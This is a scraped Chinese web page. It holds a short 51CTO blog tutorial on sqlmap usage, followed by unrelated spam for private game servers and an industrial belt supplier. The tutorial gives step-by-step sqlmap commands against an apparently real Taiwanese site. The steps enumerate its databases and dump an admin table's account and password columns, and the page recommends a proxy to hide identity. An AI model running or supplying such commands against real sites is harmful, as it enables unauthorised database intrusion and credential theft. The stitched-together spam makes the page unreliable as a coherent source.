中国领先的IT技术网站
51CTO旗下网站
sqlmap注入常见用法***
sqlmap是一个灰常强大的sql注入检测与辅助工具,但是由于没有图形界面,基本上用起来比较麻烦,导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面,其实真正用起来也就5,6句,也不会太复杂。
作者:Jarett来源:博客| 09:58
sqlmap是一个灰常强大的sql注入检测与辅助工具,但是由于没有图形界面,基本上用起来比较麻烦,导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面,我自己也是把很多语句贴到了一个记事本里面用,其实真正用起来也就5,6句,也不会太复杂,下文以php+mysql为例:
检查注入点sqlmap -u .tw/star_photo.php?artist_id=11
列数据库信息sqlmap -u .tw/star_photo.php?artist_id=11 --dbs
指定库名列出所有表sqlmap -u .tw/star_photo.php?artist_id=11 -D
vhost48330 --tables
指定库名表名列出所有字段sqlmap -u .tw/star_photo.php?artist_id=11 -D
vhost48330 -T admin --columns
指定库名表名字段dump出指定字段sqlmap -u .tw/star_photo.php?artist_id=11 -D
vhost48330 -T admin -C ac,id,password --dump
有几个参数可能会用到,直接加在最后面就可以了,更多详细参数见官方文档:
--cookie=COOKIE 在需要登录的地方,需要登录后的cookie
--proxy=&http://127.0.0.1:8087& 使用HTTP代理隐藏自己的身份,比如使用goagent等
--sql-query=QUERY 执行一个sql语句,不一定支持
过程的几张图如下:
【编辑推荐】【责任编辑: TEL:(010)】
大家都在看猜你喜欢
热点热点热点头条热点
24H热文一周话题本月最赞
讲师:41864人学习过
讲师:3864人学习过
讲师:24510人学习过
精选博文论坛热帖下载排行
Web服务技术是最近几年迅速兴起的一种应用集成技术,而安全问题是影响该技术广泛应用的一个关键因素。这个问题已成为最近几年来国内外研究...
订阅51CTO邮刊热血江湖私服,新开热血江湖私服发布网,玉川热血江湖sf发布网
游客,欢迎您!
限制10开,经验6倍,市场摆摊、支持...
一、经验6倍,单线12倍,周末翻倍2天。二、保持了官方原有特色任务,开服一个月后开始更新原创任...
下面我们来看一下斗战热血江湖游戏涅?之焰获得解析攻略,游戏中肯定想知道...
我们今天送上的是梦幻热血江湖游戏迪士尼背景解读内容攻略,用怀旧的元素演...
我们今天为玩家解读热血江湖4游戏ps4版内容介绍攻略说明,这里有哪些内容,...
今天我们说一下绝世热血江湖游戏神秘隐藏任务说明攻略,在游戏里独创个性化...
现在有不少的小白被那些所谓的***骗过,就是要先付定金...
一、经验6倍,单线12倍,周末翻倍2天。二、保持了官方原有...
你们别说这群红名的人脉关系还是蛮广的,但是喊来的都是红...
我们那时候30多级,我记得很清楚我都38级,然后我们AOK皇朝...
你是热血江湖玩家么?您当前的位置: & 欢迎光临
信捷工业皮带有限公司于1999年成立于海上丝绸之路和卫生用品基地——泉州。致力于传动与输送领域。公司有2300平方仓储中心和瑞士进口加工设备10台,全国目前有10个销售服务网点,年销售额5000万,可24小时为客户提供方便快捷高效的服务。作为一个在卫生用品行业的专业销售团队,信捷工业皮带是世界顶级工业皮带美国盖茨gates、瑞士哈柏司habasit在卫生用品行业唯一授权指定的工业皮带销售服务与战略合作伙伴,产品包括:同步带(8M、14M等)、输送带(HAT-5E、FAB-5E等)、平面传动带(S-15、SP-10/15等)、硅胶带(SI-15WL、FAB-5ER等)、圆带、海棉带、高速三角带,等特殊加工皮带。还有包装机械用到的pu-8m, L带 ,绿色PVC2.0输送带等 .纺织行业用到的龙带(S-23,TC系列,) 同步带 等 。信捷工业皮带——卫生用品行业的最佳合作伙伴,提供传动输送系统解决方案。 []
该公司暂无招商,下面为您随机推荐招商信息
以上信息由企业自行提供,该企业负责信息内容的真实性、准确性和合法性。商通网对此不承担任何保证责任,请慎重选择交易对象以防被骗。